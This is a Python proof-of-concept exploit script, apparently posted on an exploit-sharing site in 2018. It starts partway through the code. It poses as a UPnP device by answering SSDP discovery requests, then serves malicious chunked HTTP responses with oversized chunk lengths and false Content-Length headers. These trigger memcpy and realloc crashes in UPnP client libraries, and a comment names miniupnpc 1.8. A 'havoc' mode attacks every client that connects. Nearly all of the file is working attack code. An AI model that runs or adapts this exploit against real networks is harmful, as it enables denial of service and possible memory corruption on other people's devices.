= data raise e def serialize(self): lines = [self.request, ] lines += ['%s: %s' % (k, v) for k, v in self.header.iteritems()] return self.linebrk.join(lines) + self.linebrk * 2 + self.body def __str__(self): return self.serialize() def __repr__(self): return "<%s msg=%r header=%r body=%r>" % (self.__class__.__name__, (self.method, self.path, self.protocol), self.header, self.body) class UPnPListener(object): def __init__(self, group="239.255.255.250", port=1900): self.group, self.port = group, port self.callbacks = {} # multicast socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) logger.debug("[SSDP] bind: 0.0.0.0:%s" % port) sock.bind(('0.0.0.0', port)) mreq = struct.pack("=4sl", socket.inet_aton(group), socket.INADDR_ANY) logger.debug("[SSDP] add membership: UDP/%s" % group) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) self.listening = False self.sock = sock self.devices = {} # Start listening def listen(self): self.listening = True # Hint: this should be on a thread ;) logger.debug("[SSDP] listening...") while self.listening: try: # Grab a large wad of data data, peer = self.sock.recvfrom(10240) data = data.decode("utf-8") msg = HttpLikeMessage(data) # msg = HttpLikeMessage(self.sock.recv(10240).decode('utf-8')) logger.debug("[<-----] %r" % msg) # execute callback if available cb = self.callbacks.get(msg.method, None) cb and cb(self, msg, peer) except Exception, e: logger.exception(e) # Register the uuid to a name -- as an example ... I put a handler here ;) def register_device(self, name="", uuid=""): logger.debug("%s; %s" % (name, uuid)) if name == "" or uuid == "": logger.error("[SSDP] Error registering device, check your name and uuid") return # Store uuid to name for quick search self.devices[uuid] = name def register_callback(self, name, f): logger.debug("[SSDP] add callback for %r : %r" % (name, f)) self.callbacks[name] = f class BadHttpServer(threading.Thread): def __init__(self, bind, filter=None): threading.Thread.__init__(self) self.bind = bind self.filter = filter def __repr__(self): return "<%s bind=%s>" % (self.__class__.__name__, repr(self.bind)) def run(self, ): self.listen(filter=self.filter) def listen(self, filter=None): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) logger.info("[HTTP] bind %s:%d"%self.bind) sock.bind(self.bind) # Listen for incoming connections sock.listen(1) while True: # Wait for a connection logger.info("[HTTP] waiting for connection") connection, client_address = sock.accept() try: if filter and client_address[0] not in filter: raise Exception("[HTTP] wait for different client: %s!=%s" % (client_address[0], filter)) logger.info("[ ] connection from: %s" % repr(client_address)) chunks = [] # TODO refactor crappy code while True: data = connection.recv(1024 * 8) if not data: break chunks.append(data) if data.endswith("\r\n\r\n"): break logger.debug(data) self.handle_request(client_address, connection, HttpLikeMessage(''.join(chunks))) except Exception, e: logger.warning(repr(e)) finally: # Clean up the connection connection.close() def send(self, client, connection, chunks): """ :param client: :param chunks: :param connection: :return: """ template = """HTTP/1.1 200 OK Content-Type: text/html """ ans = HttpLikeMessage(template) if len(chunks) == 1: length, data = chunks[0] ans.header["Content-Length"] = length or len(data) ans.body = data else: ans.header["Transfer-Encoding"] = "chunked" body = [] for chunk in chunks: length, data = chunk body.append("%x%s%s%s" % (length or len(data), ans.linebrk, data, ans.linebrk)) body.append("0") ans.body = ''.join(body) if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY: ans.header["Content-Length"] = len(ans.body) elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER: # memcpy 0x80000000+x bytes to a buffer of 1 byte size. ans.header["Content-Length"] = 1 # forces a realloc of 1 byte else: # realloc with 0x7fffffff, memcpy n=chunk_size:0x80000000+x - crashes if realloc fails ans.header["Content-Length"] = 0x7fffffff # forces a realloc of x bytes connection.sendall(str(ans)) logger.debug(str(ans)) logger.warning("[----->] BOOM! payload delivered! - [to:%r] %r" % (client, ans)) def handle_request(self, client, connection, msg): if False and "AddPortMapping" not in str(msg): chunks = [(None, "<>")] else: if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY: chunks = [(None, "BOOM"), (0x80000000, "A" * 9000), (None, "bye")] elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER: chunks = [(None, "BOOM"), (0x80000000 - 1 + 15, "A" * 9000), (None, "bye")] else: chunks = [(None, "BOOM"), (0x80000000-1+15, "A" * 9000), (None, "bye")] self.send(client, connection, chunks) def main(): #from optparse import OptionParser import argparse global SELECT_SCENARIO SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # crash with a large memcpy # SELECT_SCENARIO = SCENARIO_CRASH_REALLOC_NULLPTR # crash with a memcpy to nullptr due to realloc error (miniupnpc v1.8) # SELECT_SCENARIO = SCENARIO_CRASH_1_BYTE_BUFFER logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s', loglevel=logging.DEBUG) logger.setLevel(logging.DEBUG) usage = """poc.py [options] example: poc.py --listen :65000 [--havoc | --target [..]] """ #parser = OptionParser(usage=usage) parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-q", "--quiet", action="store_false", dest="verbose", default=True, help="be quiet [default: False]") parser.add_argument("-l", "--listen", dest="listen", help="local httpserver listen ip:port. Note: 0.0.0.0: is not allowed. This ip is being used " "in the SSDP response Location header.") parser.add_argument("-u", "--usn", dest="usn", default="uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice", help="Unique Service Name. ") parser.add_argument("-t", "--target", dest="target", default=[], nargs='*', help="Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients.") parser.add_argument("-z", "--havoc", action="store_true", dest="havoc", default=False, help="Attempt to attack all clients connecting to our http server. Use at your own risk.") options= parser.parse_args() if not options.verbose: logger.setLevel(logging.INFO) if not options.havoc and not options.target: parser.error("No target specified. Use --havoc to attack all devices or --target to attack specific ips.") if options.havoc: options.target = None if not options.listen : parser.error("missing mandatory option --listen :") options.listen = options.listen.strip().split(":") options.listen = (options.listen[0], int(options.listen[1])) if "0.0.0.0" in options.listen[0]: parser.error("0.0.0.0 not allowed for --listen") logger.info(""" _ _ _____ _____ _____ _____ / |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___ / // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_| |_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___ //github.com/tintinweb [mode ] %s [listen] %s (local http server listening ip) [usn ] %s """%("

havoc (targeting any incoming client)" if options.havoc else " filter (targeting %r)"%options.target, "%s:%d"%options.listen, options.usn)) webserver = BadHttpServer(options.listen, options.target) logger.debug("spawning webserver: %r" % webserver) webserver.start() def handle_msearch(upnp, msg, peer): # logger.info("MSEARCH! - %r" % msg) # build answer # template = """NOTIFY * HTTP/1.1 template = """HTTP/1.1 200 OK USN: NTS: ssdp:alive SERVER: HOST: 239.255.255.250:1900 LOCATION: CACHE-CONTROL: max-age=60 NT: upnp:rootdevice""" ans = HttpLikeMessage(template) ans.header["USN"] = options.usn + msg.header["ST"] ans.header["SERVER"] = "UPnP Killer/%s" % __version__ ans.header["LOCATION"] = "http://%s:%d/xxxx.xml" % webserver.bind ans.header["ST"] = msg.header["ST"] ans.header["EXT"] = "" logger.debug("[----->] sending answer: %s" % repr(ans)) # upnp.sock.sendto(str(ans), (upnp.group, upnp.port)) upnp.sock.sendto(str(ans), peer) def handle_notify(upnp, msg, peer): # logger.info("NOTIFY! %r" % msg) pass upnp = UPnPListener() upnp.register_callback("M-SEARCH", handle_msearch) upnp.register_callback("NOTIFY", handle_notify) upnp.listen() logger.info("--end--") if __name__ == "__main__": main() # 0day.today [2018-03-31] #